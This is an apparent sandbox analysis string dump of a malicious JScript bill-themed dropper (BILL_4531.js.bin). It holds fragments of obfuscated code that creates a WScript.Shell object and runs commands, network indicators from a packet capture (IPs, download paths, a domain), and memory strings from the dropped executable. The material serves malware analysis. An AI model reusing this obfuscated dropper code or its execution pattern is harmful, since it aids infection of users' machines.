Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gydmiqxofvi = "78825";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hiqumizo = typeof 736;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hodfar = 68;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hpakevvi = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hufibed = 8 + 'asbiclusev';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ibdyvi = '34582' + 604;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ibxesno = 'm';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ideluzy = typeof "isvemaftus";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ifjopitxa = true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var igambi = 190 + "eheph";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ihwuzhyc = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ijguhe = 43.2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ijtustys = icdeqlyd + ydugekqe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ikreve = 59.762;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ikwucelfy = 'alyfmixamz';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ilavhys = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ilyjvo = 'vwymo';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var imekpajwob = 75;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var iqidfekm = 'uluzpamtog';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var irwagotl = emofwaz + oqikepki;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var isiqa = 290;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ivew = '82738';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var iwugdiwx = 5.855;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var iwupduc = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ixily = typeof 'sosma';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ixitgock = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ixunlogs = [/du3h8/gi, /gy7dg5/gi, /mwa1a2/gi, /o6r6/gi, /uc9i6/gi, /elw5e1/gi, /gb5i8/gi, /o9n3/gi, /ipz6pl6/gi, /qf8e2/gi, /mu1hr6/gi, /bza4y9/gi, /nm2ln2/gi, /l2a4/gi];

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var izfafex = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var izgyjgipso = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jisvapax = 1.671;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jlyzifhuxc = "arqozy";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jurata = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jywylgepsa = omeni + phetexape;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jyxtiw = "^";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var kykqiwor = 'atpadkacasx' + 176;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var kyrnorxotda = "ewyna";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var lerlerkytu = typeof document;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var lkopzikyfe = true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var lobutby = 13.86;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ludiwonva = true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var madyvbuk = 2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mcerolvofw = 'zkargoly';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mfazyquli = 2.379;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mkolcive = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mofcax = 124;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mufixxa = yssenqul + ysdoxyvumv;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mvilpexpihk = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mwuhjaqagfu = typeof 'upguniv';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mzucuxbyf = daxxev + udbejmesapd;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var naccexgi = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nalylpolf = 9.2 + 'ytury';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nibxygu = vbonlajybu + arqixyfevf;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nikatez = deqilutku + uvvutlafis;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nisernu = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nonirq = "77148";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var noxah = "d";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var npobwus = ".";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nuranenvi = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nyrnuvne = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var obfymogev = "qepozkobg";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var occofi = 12;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var octefonavq = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ocvami = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var oddupaduq = 39.055;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ofezatmon = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ogakwite = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ogjita = 36.764 + '18191';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ohnyjraboq = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ohug = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ojowixi = 516;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var okhuxvylyp = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var olohmabp = 'skudi';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var olupa = "dunyqxygr";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var omegoxab = 676;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var omeni = 'rec';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var opuwe = olohmabp + madyvbuk;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var oqpostonx = 919 + '11744';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ovmumbiph = 49;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var owvebo = 'yxybh';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var owwixupar = 80;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var phetexape = 25;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var pozsix = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ppovyhyxy = 2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var pynirih = 280.648;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var qehtam = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var qkydilycu = 'zkacly';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rmejlege = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rpuqqozeg = 10.4816;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rtesemre = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rudena = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rvuvdecw = dzibysko + oddupaduq;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rzedizhi = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var skezedu = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var snihxuputly = typeof "ebeve";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var syhvejuzni = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var tegi = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var teriza = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var tfifkijs = 7;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var twysaw = "64916";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var tytvor = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ubhogy = 'c';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ucopkuxmi = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ucuxju = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ufadebo = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ugbuts = 'hucviqidlo';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uhansywfyx = typeof 65;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uhnydyzsisr = aggaqyxy + udoqyltyt;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uhycxowto = 'tasenaxqe' + 21.343;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var umkelybd = "ihusespe";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var upnarusw = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var upqetp = 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uquhiwn = ':';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var urcabeze = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var usfulexv = 'juhinqemdu';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var utany = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uvefixx = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uvqigsitge = '979' + 20.332;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uzifadr = 'ucyne' + 761;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uzoqony = typeof "ahbind";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uzytereh = 0.1864;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var varhach = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vbonlajybu = 'hjijokj';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vceqwatarc = cipopyp + mrettugcyhe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vebenvy = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vecmohawh = 14.6;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vimzimfy = "ibu";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vimzimfy = "ibu";var ugbuts = 'hucviqidlo';var dbaxanzi = 'h';

Ansi based on Memory/File Scan (BILL_4531.js.bin)

var vpedwaknutpy = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vrijyrloji = 691 + "vtabi";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vtonkes = '1496';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vwivefnawy = "urylz";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vyrajtyju = 65.647;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var wivbotelma = typeof 'trugre';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var wohkihhe = '44852';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var woqazlohj = 11;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var wtyzyj = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var xuhylu = "65881";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var xxiccufuxby = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ybbanbo = new ActiveXObject("WScript.Shell");

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ybitk = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ydjuvi = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ydrolso = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ygacu = 'iflywema';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ygfavzixt = 'zhypubpajmy';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ygkekymgyxj = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yjcewp = "%";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ykaleda = 11.39 + 'ezogmusz';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ykishodpiv = 'ikdevnozni';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ylduxucihq = 71.2626;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ylexo = "ewloqh";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ymcev = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ymununt = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ynkexocraq = uhegcejw + iroregalp;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ypedhycw = 'e';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yqapur = "81582" + 2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yqyjuvwin = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ysdoxyvumv = 14.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yssenqul = "90401";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ytifigy = egcafditvi + jkobeqivh;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvbiswimsarh = 82.335;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvinliqab = "5318" + 38.69;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvipqerdafq = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ywuqko = mofcax + pvydinoko;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yxojmobdi = kyrnorxotda + ehevga;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yzfotdynasw = 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zbike = '(';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zede = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zevalfo = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zmerawzax = "ifjimvycy" + 61.8249;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zruvjafyjb = typeof 234;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zufhedt = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zujoqe = 651.6468 + "59727";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zulgosjil = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zwuhrepreq = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vceqwatarc = vceqwatarc + 'qnykzuq';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vgyxpekxo = 'rwyxzebxuxk';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vkabmeqfafd = '80957';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

while (1) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

wtyzyj++;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

wytunp = ikreve + aznuwpixzywg;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

wytunp = wytunp + 265;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

xdibaboma = 82.1067 + "70519";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

xuhylu = 16.872 + xuhylu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ybbanbo.run(ozgusaq(), naccexgi);

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ydugekqe = 1.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yjetlaxle = 75 + "vpulrope";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ytifigy = "28474" + ytifigy;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yvujemoj = 8.82 + 'ogbyt';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ywuqko = 3 + ywuqko;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yxojmobdi = yxojmobdi + 10.2195;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

} else {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

/apache_handler.php

Ansi based on PCAP Processing (PCAP)

/openh264-win32-v1.3.zip

Ansi based on PCAP Processing (PCAP)

/user.php?f=2.dat

Ansi based on PCAP Processing (PCAP)

185.102.136.77

Ansi based on PCAP Processing (PCAP)

91.200.14.124

Ansi based on PCAP Processing (PCAP)

ciscobinary.openh264.org

Ansi based on PCAP Processing (PCAP)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Ansi based on PCAP Processing (PCAP)

Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0

Ansi based on PCAP Processing (PCAP)

www.injusticeil.top

Ansi based on PCAP Processing (PCAP)

Ansi based on Dropped File (_28_HOWDO_text.html)

Ansi based on Dropped File (_28_HOWDO_text.html)

Ansi based on Dropped File (_28_HOWDO_text.html)

/C del /Q /F "%TEMP%\sysE5A3.tmp"

Ansi based on Process Commandline (cmd.exe)

%windir%\tracing

Unicode based on Runtime Data (eXe )

0m3?{,

Ansi based on Runtime Data (eXe )

<.pbk

Unicode based on Runtime Data (eXe )

[.ShellClassInfo]UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}

Ansi based on Runtime Data (eXe )

AddressFamily

Unicode based on Runtime Data (eXe )

AlwaysDrainOnRedirect

Unicode based on Runtime Data (eXe )

AutoConfigCustomUA

Unicode based on Runtime Data (eXe )

AutoConfigURL

Unicode based on Runtime Data (eXe )

AutodialDLL

Unicode based on Runtime Data (eXe )

BadProxyExpiresTime

Unicode based on Runtime Data (eXe )

BypassHTTPNoCacheCheck

Unicode based on Runtime Data (eXe )

BypassSSLNoCacheCheck

Unicode based on Runtime Data (eXe )

CacheLimit

Unicode based on Runtime Data (eXe )

CacheMode

Unicode based on Runtime Data (eXe )

CacheOptions

Unicode based on Runtime Data (eXe )

CachePath

Unicode based on Runtime Data (eXe )

CachePrefix

Unicode based on Runtime Data (eXe )

CacheRepair

Unicode based on Runtime Data (eXe )

CertCacheNoValidate

Unicode based on Runtime Data (eXe )

CertificateRevocation

Unicode based on Runtime Data (eXe )

Class

Unicode based on Runtime Data (eXe )

ClientAuthBuiltInUI

Unicode based on Runtime Data (eXe )

Compatible

Unicode based on Runtime Data (eXe )

ConnectRetries

Unicode based on Runtime Data (eXe )

ConnectTimeOut

Unicode based on Runtime Data (eXe )

ConsoleTracingMask

Unicode based on Runtime Data (eXe )

Default

Unicode based on Runtime Data (eXe )

DefaultConnectionSettings

Unicode based on Runtime Data (eXe )

DialupUseLanSettings

Unicode based on Runtime Data (eXe )

DisableBasicOverClearChannel

Unicode based on Runtime Data (eXe )

DisableBranchCache

Unicode based on Runtime Data (eXe )

DisableCachingOfSSLPages

Unicode based on Runtime Data (eXe )

DisableKeepAlive

Unicode based on Runtime Data (eXe )

DisableNTLMPreAuth

Unicode based on Runtime Data (eXe )

DisablePassport

Unicode based on Runtime Data (eXe )

DisableReadRange

Unicode based on Runtime Data (eXe )

DisableWorkerThreadHibernation

Unicode based on Runtime Data (eXe )

DisplayScriptDownloadFailureUI

Unicode based on Runtime Data (eXe )

DisplayString

Unicode based on Runtime Data (eXe )

DllFile

Unicode based on Runtime Data (eXe )

DnsCacheEnabled

Unicode based on Runtime Data (eXe )

DnsCacheEntries

Unicode based on Runtime Data (eXe )

DnsCacheTimeout

Unicode based on Runtime Data (eXe )

Domain

Unicode based on Runtime Data (eXe )

DontUseDNSLoadBalancing

Unicode based on Runtime Data (eXe )

ED6D99A9

Unicode based on Runtime Data (eXe )

EnableAutodial

Unicode based on Runtime Data (eXe )

EnableAutoProxyResultCache

Unicode based on Runtime Data (eXe )

EnableConsoleTracing

Unicode based on Runtime Data (eXe )

EnableFileTracing

Unicode based on Runtime Data (eXe )

EnableHttp1_1

Unicode based on Runtime Data (eXe )

EnableHttpTrace

Unicode based on Runtime Data (eXe )

EnableNegotiate

Unicode based on Runtime Data (eXe )

Export

Unicode based on Runtime Data (eXe )

Feature_ClientAuthCertFilter

Unicode based on Runtime Data (eXe )

FileDirectory

Unicode based on Runtime Data (eXe )

FileExtensions

Unicode based on Runtime Data (eXe )

FileTracingMask

Unicode based on Runtime Data (eXe )

FromCacheTimeout

Unicode based on Runtime Data (eXe )

FtpDefaultExpiryTimeSecs

Unicode based on Runtime Data (eXe )

GlobalUserOffline

Unicode based on Runtime Data (eXe )

HeaderExclusionListForCache

Unicode based on Runtime Data (eXe )

HelperDllName

Unicode based on Runtime Data (eXe )

History

Unicode based on Runtime Data (eXe )

Hostname

Unicode based on Runtime Data (eXe )

HttpDefaultExpiryTimeSecs

Unicode based on Runtime Data (eXe )

IdnEnabled

Unicode based on Runtime Data (eXe )

KeepAliveTimeout

Unicode based on Runtime Data (eXe )

LeashLegacyCookies

Unicode based on Runtime Data (eXe )

LibraryPath

Unicode based on Runtime Data (eXe )

Local AppData

Unicode based on Runtime Data (eXe )

Mapping

Unicode based on Runtime Data (eXe )

MaxConnectionsPer1_0Server

Unicode based on Runtime Data (eXe )

MaxConnectionsPerProxy

Unicode based on Runtime Data (eXe )

MaxConnectionsPerServer

Unicode based on Runtime Data (eXe )

MaxFileSize

Unicode based on Runtime Data (eXe )

MaxHttpRedirects

Unicode based on Runtime Data (eXe )

MaximumAllowedAllocationSize

Unicode based on Runtime Data (eXe )

MaxSockaddrLength

Unicode based on Runtime Data (eXe )

MBCSAPIforCrack

Unicode based on Runtime Data (eXe )

MBCSServername

Unicode based on Runtime Data (eXe )

MigrateProxy

Unicode based on Runtime Data (eXe )

MimeExclusionListForCache

Unicode based on Runtime Data (eXe )

MinSockaddrLength

Unicode based on Runtime Data (eXe )

NameSpace_Callout

Unicode based on Runtime Data (eXe )

Next_Catalog_Entry_ID

Unicode based on Runtime Data (eXe )

NoCheckAutodialOverRide

Unicode based on Runtime Data (eXe )

NoNetAutodial

Unicode based on Runtime Data (eXe )

Num_Catalog_Entries

Unicode based on Runtime Data (eXe )

PackedCatalogItem

Unicode based on Runtime Data (eXe )

PerUserCookies

Unicode based on Runtime Data (eXe )

PerUserItem

Unicode based on Runtime Data (eXe )

Platform

Unicode based on Runtime Data (eXe )

ProductType

Unicode based on Runtime Data (eXe )

ProgramData

Unicode based on Runtime Data (eXe )

ProviderId

Unicode based on Runtime Data (eXe )

ProviderInfo

Unicode based on Runtime Data (eXe )

ProviderOrder

Unicode based on Runtime Data (eXe )

ProviderPath

Unicode based on Runtime Data (eXe )

ProxyEnable

Unicode based on Runtime Data (eXe )

ProxyHttp1.1

Unicode based on Runtime Data (eXe )

ProxyOverride

Unicode based on Runtime Data (eXe )

ProxyServer

Unicode based on Runtime Data (eXe )

ProxySettingsPerUser

Unicode based on Runtime Data (eXe )

rasphone.pbk

Unicode based on Runtime Data (eXe )

ReceiveTimeOut

Unicode based on Runtime Data (eXe )

REG_SZ

Unicode based on Runtime Data (eXe )

Roaming.eXe

Unicode based on Runtime Data (eXe )

RpcCacheTimeout

Unicode based on Runtime Data (eXe )

SavedLegacySettings

Unicode based on Runtime Data (eXe )

ScavengeCacheFileLifeTime

Unicode based on Runtime Data (eXe )

ScavengeCacheFileLimit

Unicode based on Runtime Data (eXe )

ScavengeCacheLowerBound

Unicode based on Runtime Data (eXe )

SecureProtocols

Unicode based on Runtime Data (eXe )

SendExtraCRLF

Unicode based on Runtime Data (eXe )

SendTimeOut

Unicode based on Runtime Data (eXe )

Serial_Access_Num

Unicode based on Runtime Data (eXe )

ServerInfoTimeout

Unicode based on Runtime Data (eXe )

SessionStartTimeDefaultDeltaSecs

Unicode based on Runtime Data (eXe )

ShareCredsWithWinHttp

Unicode based on Runtime Data (eXe )

Signature

Unicode based on Runtime Data (eXe )

SocketReceiveBufferLength

Unicode based on Runtime Data (eXe )

SocketSendBufferLength

Unicode based on Runtime Data (eXe )

SQMServiceList

Unicode based on Runtime Data (eXe )

StoresServiceClassInfo

Unicode based on Runtime Data (eXe )

SupportedNameSpace

Unicode based on Runtime Data (eXe )

SyncMode5

Unicode based on Runtime Data (eXe )

TcpAutotuning

Unicode based on Runtime Data (eXe )

Transports

Unicode based on Runtime Data (eXe )

UseDelayedAcceptance

Unicode based on Runtime Data (eXe )

User Agent

Unicode based on Runtime Data (eXe )

UTF8ServerNameRes

Unicode based on Runtime Data (eXe )

WarnAlwaysOnPost

Unicode based on Runtime Data (eXe )

WarnOnBadCertRecving

Unicode based on Runtime Data (eXe )

WarnOnHTTPSToHTTPRedirect

Unicode based on Runtime Data (eXe )

WarnOnPost

Unicode based on Runtime Data (eXe )

WarnOnPostRedirect

Unicode based on Runtime Data (eXe )

WarnOnZoneCrossing

Unicode based on Runtime Data (eXe )

WinSock 2.0 Provider ID

Unicode based on Runtime Data (eXe )

WinSock_Registry_Version

Unicode based on Runtime Data (eXe )

WpadOverride

Unicode based on Runtime Data (eXe )

WpadSearchAllDomains

Unicode based on Runtime Data (eXe )

Ws2_32NumHandleBuckets

Unicode based on Runtime Data (eXe )

Ws2_32SpinCount

Unicode based on Runtime Data (eXe )

Ansi based on Runtime Data (eXe )

community - thamizha.com

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

!This program cannot be run in DOS mode.$

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

"%APPDATA%\eXe"

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

%ls=%ls

Ansi based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%u.%u%s%s

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

(xL

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

(EEEH

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

*?|<>/":

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

-40664

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

. %d%%

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

.%u%s%s

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

... %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

.DEFAULT\Control Panel\International

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

.reloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

.text

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Ansi based on Runtime Data (eXe )

0, i 0) i .r1

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

00926

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

0x80, i 0) i .r1

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1493172224

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993709307

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993722492

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993722966

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993748406

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

4143121

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Ansi based on Runtime Data (eXe )

@.data

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

@@@`777-

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

@@DDDDDDDDDD@@@@@@D

Ansi based on Runtime Data (eXe )

[Rename]

Ansi based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

\Microsoft\Internet Explorer\Quick Launch

